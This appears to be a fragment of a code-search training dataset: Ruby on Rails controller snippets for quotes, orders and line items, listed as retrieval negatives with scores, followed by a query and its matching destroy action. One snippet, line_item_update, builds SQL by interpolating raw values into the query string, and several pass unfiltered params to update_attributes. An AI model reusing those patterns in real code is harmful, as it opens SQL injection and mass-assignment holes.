"def update\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n if @quote.update_attributes(params[:quote])\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n if @quote.update_attributes(params[:quote])\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_order_line\n @order_line = OrderLine.find(params[:id])\n end",
"def update\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n\n respond_to do |format|\n if @so_line.update_attributes(params[:so_line])\n format.html { redirect_to(new_so_header_so_line_path(@so_header), :notice => 'So line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @so_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_line_item\n @line_item = order.line_items.find(params[:id])\n end",
"def line_item_update(h)\n\t\trows = @database.execute <<-SQL\n\t\tUPDATE invoice_lines\n\t\tSET\n\t\t\t\t_order = '#{h['order']}'\n\t\t\t, invoice_id = '#{h['invoice_id']}'\n\t\t\t, name = '#{h['name']}'\n\t\t\t, matter = '#{h['matter']}'\n\t\t\t, description = '#{h['description']}'\n\t\t\t, amount = '#{h['amount']}'\n\t\t\t, first_expense_id = '#{h['first_expense_id']}'\n\t\t\t, first_time_entry_id = '#{h['first_time_entry_id']}'\n\t\t\t, line_item_date = '#{h['line_item_date']}'\n\t\t\t, person = '#{h['person']}'\n\t\t\t, unit_cost = '#{h['unit_cost']}'\n\t\t\t, quantity = '#{h['quantity']}'\n\t\t\t, type = '#{h['type']}'\n\t\t\t, updated = '#{h['updated']}'\n\t\tWHERE (number = '#{h['number']}' AND line_id = '#{h['line_id']}');\n\t\tSQL\n\tend",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to edit_admin_quote_url(@quote), notice: 'Quote was successfully updated.' }\n format.json { render json: @quote, status: :ok }\n else\n format.html { redirect_to view_context.admin_model_url(@quote.source), notice: 'Oops! an error occurred while updating the quote.' }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line_item = OrderLineItem.find(params[:id])\n\n if @order_line_item.update(order_line_item_params)\n # set to manually completd\n @order_line_item.status = \"Manually Completed\"\n @order_line_item.save\n render json: @order_line_item\n else\n render json: @order_line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: \"Quote was successfully updated.\" }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def issue_refer_line_items\n line_items.each do |line|\n logger.debug \"==@@@@==SalesOrder refer_line_id== #{line.refer_line_id}\"\n po_line = LineItem.find(line.refer_line_id)\n po_line.update_attribute(:quantity_issued, po_line.quantity_issued + line.quantity)\n\n line.update_attribute(:cart_id, nil)\n end\n end",
"def update\n record = InvoiceLineItem.find(params[:id])\n print record.to_json\n record.update_attributes(params[:record]) \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def edit\n quote = Quote.find(params[:id])\n url = \"quotes/#{params[:id]}\"\n render :json => {:data => quote, :url => url}\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'QUOTE WAS SUCCESSFULLY UPDATED.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def contract_service_line_params\n params.require(:contract_service_line).permit(:id, :qty, :contract_service_id, :service_list_id, :line_comment, :client_id, :total, :sub_total, :tax_total, :destroy)\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @participant_quote = ParticipantQuote.find(params[:id])\n\n respond_to do |format|\n if @participant_quote.update_attributes(params[:participant_quote])\n format.html { redirect_to @participant_quote, notice: 'Participant quote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @participant_quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to @line, notice: \"Line was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @line.attributes = line_params\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { render :show, status: :ok, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :edit }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update_item\n order = current_user.init_cart.order\n line_item = order.line_items.find(params[:id])\n line_item.attributes = params[:item]\n image = line_item.image\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def update\n puts ('entro al update')\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n if @credit_line.update_attributes(params[:credit_line])\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trade_line.update(trade_line_params)\n format.html { redirect_to @trade_line, notice: 'Trade line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trade_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client=Client.find_by_id(params['q_param']['client'])\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n list = [[\"\",\"\",\"1\",\"\"]]\n quote_p={:title=>title,:comment=>comment, :status=>1, :list=>list}\n @quote = @client.quotes.create(quote_p)\n render json: {:quote_id=>@quote.id}\n\n # respond_to do |format|\n # if @quote.save\n # format.html { redirect_to index, notice: 'Quote was successfully created.' }\n # # format.json { render action: 'show', status: :created, location: @quote }\n # else\n # format.html { render action: 'new' }\n # # format.json { render json: @quote.errors, status: :unprocessable_entity }\n # end\n # end\nend",
"def update\n @order_detail = OrderDetail.find(params[:id])\n\n respond_to do |format|\n if @order_detail.update_attributes(params[:order_detail])\n format.html { redirect_to @order_detail, :notice => 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @order_detail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_service_line.update(contract_service_line_params)\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service_line }\n else\n format.html { render :edit }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @quote.update(quote_params)\r\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @quote }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @quote.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n\n respond_to do |format|\n if @payment_line.update_attributes(params[:payment_line])\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @price_quote = PriceQuote.find(params[:id])\n\n respond_to do |format|\n if @price_quote.update_attributes(params[:price_quote])\n format.html { redirect_to @price_quote, notice: 'Price quote was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @price_quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote.update(quote_params)\n format.html { redirect_to @quote, notice: 'Quote was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote }\n else\n format.html { render :edit }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, :notice => 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_quote\n event_id = params[\"event_id\"]\n for each in Specification.where(event_id: event_id).where(exclude_from_quote: nil)\n if params[\"quoted_price-#{each.id}\"] == nil\n each.quoted_price = 0\n else\n each.quoted_price = (params[\"quoted_price-#{each.id}\"].gsub(\",\" , \"\").to_f * 100).round(2)\n end\n items_cost = params[\"per_item_cost-#{each.id}\"].to_f * 100.0\n each.per_item_cost = items_cost.round(2)\n each.per_item_list_price = (params[\"per_item_list_price-#{each.id}\"].to_f * 100).round(2)\n each.extended_list_price = (params[\"extended_list_price-#{each.id}\"].to_f * 100).round(2)\n each.save!\n end\n quote = Quote.where(event_id: event_id).first\n quote.quote_name = params[\"quote_name\"]\n quote.quote_style = params[\"quote_style\"]\n quoted_total_price = 0\n quoted_total_cost = 0\n for each in Specification.where(event_id: event_id).where(exclude_from_quote: nil)\n if each.quoted_price == nil\n each.quoted_price = 0\n else # do nothing\n end\n quoted_total_price = quoted_total_price + each.quoted_price\n quoted_total_cost = quoted_total_cost + (((each.per_item_cost / 100.0) * (each.item_quantity / 100.0)).round(2) * 100.0).round(2)\n end \n quote.total_price = quoted_total_price\n quote.total_cost = quoted_total_cost\n if quoted_total_cost != 0\n quote.markup = (quoted_total_price / quoted_total_cost) * 100\n else # do nothing\n end\n quote.status = params[\"status\"]\n if params[\"status\"] != \"Completed\" && params[\"status\"] != \"Ordered\"\n quote.wholesale_order_date = nil\n else # do nothing\n end\n quote.save!\n event = Event.where(id: event_id).first\n event.event_status = params[\"status\"]\n event.quote_message = params[\"quote_message\"]\n event.save!\n redirect_to \"/generate_quote/#{event_id}\" and return\n end",
"def order_line_params\n params.require(:order_line).permit(:order_id, :product_id, :qty, :unit_price, :total_price)\n end",
"def create\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{order_params['email'].to_s}\")\n codeCustomer = res.code\n dataCustomer = res.parsed_response\n p res\n res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n #res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n codeItem = res.code\n dataItem = res.parsed_response\n p dataItem\n if codeCustomer != 404 && codeItem != 404\n newParams = order_params\n newParams[\"award\"] = dataCustomer[\"award\"] \n newParams[\"price\"] = dataItem[\"price\"]\n newParams[\"total\"] = dataItem[\"price\"] - dataCustomer[\"award\"]\n p newParams\n \n #HTTParty.put(\"http://localhost:8081/customers/order?award=#{newParams['award']}&total=#{newParams[\"total\"]}&customerId=#{newParams['customerid']}\")\n end\n if codeCustomer == 404 || codeItem == 404\n if codeCustomer == 404 and codeItem == 404\n render json: {error: \"Customer and Item do not exist\"}, status: 400\n return\n end\n if codeCustomer == 404 and codeItem != 404\n render json: {error: \"Customer does not exist\"}, status: 400\n return\n end\n if codeCustomer != 404 and codeItem == 404\n render json: {error: \"Item does not exist\"}, status: 400\n return\n end\n else\n @order = Order.new\n @order.customerid = dataCustomer[\"id\"]\n @order.email = dataCustomer[\"email\"]\n @order.itemid = order_params[:itemid]\n @order.description = dataItem[\"description\"]\n @order.award = newParams[\"award\"]\n @order.total = newParams[\"total\"]\n @order.price = newParams[\"price\"]\n \n orderResult = HTTParty.put('http://localhost:8081/customers/order', \n :body => @order.to_json,\n :headers => {'Content-Type' => 'application/json', 'ACCEPT' => 'application/json'}\n )\n\n res = HTTParty.put(\"http://localhost:8082/items/#{order_params[:itemid]}?stockQty=#{dataItem['stockQty']-1}&description=#{dataItem['description']}&price=#{dataItem['price']}&id=#{order_params[:id]}\")\n p res\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n \n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @quote_detail = QuoteDetail.find(params[:id])\n\n respond_to do |format|\n if @quote_detail.update_attributes(params[:quote_detail])\n format.html { redirect_to @quote_detail, notice: 'Quote detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quote_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_trade_line\n @trade_line = TradeLine.find(params[:id])\n end",
"def update\n @quote = Quote.find(params[:id])\n title=params['q_param']['title']\n total=params['q_param']['total']\n tax_rate=params['q_param']['tax_rate']\n l=params['q_param']['list']\n comment=params['q_param']['comment']\n list=Array.new\n l.keys.each do |j|\n list << [l[j][0],l[j][1],l[j][2],l[j][3]]\n end\n quote_p={:title=>title,:total=>total,:list=>list,:tax_rate=>tax_rate,:comment=>comment}\n @quote.update(quote_p)\n\n # respond_to do |format|\n # if @quote.update(quote_p)\n # format.html {}\n format.json { head :no_content }\n # else\n # format.html {}\n # format.json { render json: @quote.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n respond_to do |format|\n if @clothing_line.update(clothing_line_params)\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_line }\n else\n format.html { render :edit }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n sns = params[:order][:serial_numbers_attributes] || {}\n @order.editing = true\n @client = Client.find_by_id(@order.client_id)\n @bill = Bill.find_by_id((@order.bill_id))\n @render = \"#{@order.product_type.downcase}_fields\"\n @product = @order.product_type.downcase.pluralize\n respond_to do |format|\n if @order.update_attributes(params[:order])\n total_due = 0\n @order.parts.each do |part|\n total_due = part.cost + total_due\n end\n @order.client_needs.each do |client_need|\n total_due = client_need.cost + total_due\n end\n @order.update_attribute(:total_due, total_due)\n Progress.create(:short_description => @order.short_description, :full_description => @order.full_description, :user_id => current_user.id, :order_id => @order.id, :branch_id => @order.branch_id) \n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n if @item_line.update_attributes(params[:item_line])\n format.html { redirect_to @item_line, notice: 'Item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_detail.update(line_detail_params)\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_req_ord_line\n @req_ord_line = ReqOrdLine.find(params[:id])\n end",
"def create\n @quote = Quote.new(quote_params)\n\n if user_signed_in?\n userCustomerList = Customer.where(:user_id => current_user.id)\n if userCustomerList.present?\n customer = userCustomerList.first\n @quote.CompanyName = userCustomerList.first.CompanyName\n @quote.Email = userCustomerList.first.EmailOfTheCompany\n\n subject = \"#{customer.NameOfContact} from #{customer.CompanyName}\"\n comment = \"The contact #{customer.NameOfContact} from company #{customer.CompanyName} can be reached at email #{customer.EmailOfTheCompany} and at phone number #{customer.CompanyContactPhone}. #{@quote.BuildingType} has a project named [PROJECT] which would require contribution from Rocket Elevators.\"\n ZendeskAPI::Ticket.create($zenclient, :subject => subject, :comment => { :value => comment }, :priority => \"normal\", :type => \"task\" ) # :email_ccs => [{ :user_email => :Email, :action => \"put\"}],\n\n end\n end\n\n respond_to do |format|\n if @quote.save\n format.html { redirect_to @quote, notice: \"Quote was successfully created.\" }\n format.json { render :show, status: :created, location: @quote }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @line_items.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @cart.shop, notice: t(\"line_items.update.notice_success\") }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n product = Product.where(id: order_line_params[:product_id]).first\n merged = order_line_params.merge({:unit_price => product.price, :total_price => product.price * order_line_params[:qty].to_i})\n respond_to do |format|\n if @order_line.update(merged)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n if @line_item1.update_attributes(params[:line_item1])\n format.html { redirect_to @line_item1, :notice => 'Line item1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item1.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @quote = Quote.find(params[:id])\n\n respond_to do |format|\n if @quote.update_attributes(params[:quote])\n format.html { redirect_to(@quote, :notice => :quote_updated) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def invoice # rubocop:disable all\n @province = Province.find(params[:province])\n @customer = Customer.find(session[:customer_id])\n customer_order = @customer.orders.build\n customer_order.status = 'outstanding'\n customer_order.pst_rate = @customer.province.pst\n customer_order.gst_rate = @customer.province.gst\n customer_order.hst_rate = @customer.province.hst\n customer_order.address = params[:address]\n customer_order.city = params[:city]\n customer_order.province = params[:province]\n customer_order.country_name = params[:country_name]\n customer_order.postal_code = params[:postal_code]\n customer_order.save\n\n session[:order_id] = customer_order.id\n session[:product_id].each do |product_id|\n product = Product.find(product_id)\n customer_item = customer_order.lineItems.build\n customer_item.order_id = customer_order.id\n customer_item.price = product.price\n customer_item.quantity = params[\"quantity_#{product.id}\"]\n customer_item.product_id = product.id\n customer_item.save\n end\n @line_items = LineItem.where('order_id = ?', session[:order_id])\n session[:order_complete] = true\n end",
"def create\n @order_line = OrderLine.new(order_line_params)\n \n if @order_line.order_id.nil?\n @order_line.order_id = current_order.id\n @order_line.value = @order_line.product.price*@order_line.quantity\n @order_line.status = OrderLine.status_requested\n end\n respond_to do |format|\n if @order_line.save\n # inform client\n WebsocketRails['order_lines_'+@order_line.order.id.to_s].trigger 'new', {:order => @order_line.order, :order_line => @order_line, :product => @order_line.product}\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render :show, status: :created, location: @order_line }\n else\n format.html { render :new }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @quote_lines = QuoteLine.all\n end",
"def quote_params\n params.require(:quote).permit(:quote_config_id, :customer_id, :manufacturer_id, :series_id, :model_id,\n :specific_equipment_id, :tire_replacement_front_id,\n :implement_id, :attachment_id, :tire_replacement_rear_id,\n :base_quote_price, :total_price,\n :quote_date, :markup_percentage, :finalize_date,\n :sale_finalized, :discount_id)\n end",
"def set_line\n @cart = Cart.find(params[:cart_id])\n @cart_line = @cart.cart_lines.find_by_id(params[:id])\n end",
"def update\n respond_to do |format|\n if @kid_quote.update(kid_quote_params)\n format.html { redirect_to kid_quotes_path, notice: 'Kid quote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kid_quote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(params[:order_line])\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render json: @order_line, status: :created, location: @order_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n @budget = @line.budget\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def order_line_params\n params.require(:order_line).permit(:order_id, :product_id, :quantity, :value, :status)\n end",
"def update\n respond_to do |format|\n if @customer_quote.update(customer_quote_params)\n format.html { redirect_to @customer_quote, notice: 'Customer ha sido actualizado correctamente.' }\n format.js\n else\n format.html { render action: 'edit' }\n format.js\n end\n end\n end"
] | [
"0.67417216",
"0.6607342",
"0.6437862",
"0.6269973",
"0.6216328",
"0.6159606",
"0.6046217",
"0.6024713",
"0.5966548",
"0.59249485",
"0.5916886",
"0.5860319",
"0.58350927",
"0.5818444",
"0.57339543",
"0.57330984",
"0.5717281",
"0.5665004",
"0.5665004",
"0.56541693",
"0.5649172",
"0.5636793",
"0.5619855",
"0.5618829",
"0.5614225",
"0.5612132",
"0.56041384",
"0.5601263",
"0.5588845",
"0.5582183",
"0.55701697",
"0.55663586",
"0.55661553",
"0.55661553",
"0.5555342",
"0.55541",
"0.55505025",
"0.5540325",
"0.5523283",
"0.5513253",
"0.5509099",
"0.55028623",
"0.5501172",
"0.54844785",
"0.54755145",
"0.54673785",
"0.5461304",
"0.5461304",
"0.5461304",
"0.5461304",
"0.5461304",
"0.5461304",
"0.5461304",
"0.54524416",
"0.5431799",
"0.5431763",
"0.542375",
"0.5419048",
"0.5417596",
"0.54025525",
"0.53977555",
"0.5387422",
"0.5356055",
"0.53546643",
"0.5348381",
"0.53482574",
"0.5348059",
"0.53465676",
"0.53465676",
"0.53465676",
"0.53465676",
"0.53465676",
"0.5345261",
"0.5344308",
"0.5338271",
"0.53377515",
"0.53291684",
"0.5322909",
"0.5318979",
"0.53107136",
"0.52935934",
"0.5291928",
"0.52822614",
"0.5279705",
"0.52786905",
"0.5265962",
"0.5263862",
"0.5258385",
"0.5257045",
"0.52538",
"0.5253688",
"0.52310467",
"0.5231024",
"0.52288747",
"0.52190685",
"0.52164865",
"0.5214956",
"0.5212642",
"0.5208302",
"0.52022594"
] | 0.7125829 | 0 |
DELETE customer_quotes/1/customer_quote_lines/1 DELETE customer_quotes/1/customer_quote_lines/1.json | def destroy
@customer_quote = CustomerQuote.find(params[:customer_quote_id])
@customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])
@customer_quote_line.destroy
respond_to do |format|
format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }
format.json { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def delete\n LineItem.delete_for_order(order_id)\n CreditCardTransaction.remove_references_to_order(order_id)\n super\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: t('line_items.destroy.lineDelete') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trade_line.destroy\n respond_to do |format|\n format.html { redirect_to trade_lines_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def destroy\n @kid_quote.destroy\n\n respond_to do |format|\n format.html { redirect_to kid_quotes_url }\n format.json { head :no_content }\n end\n end",
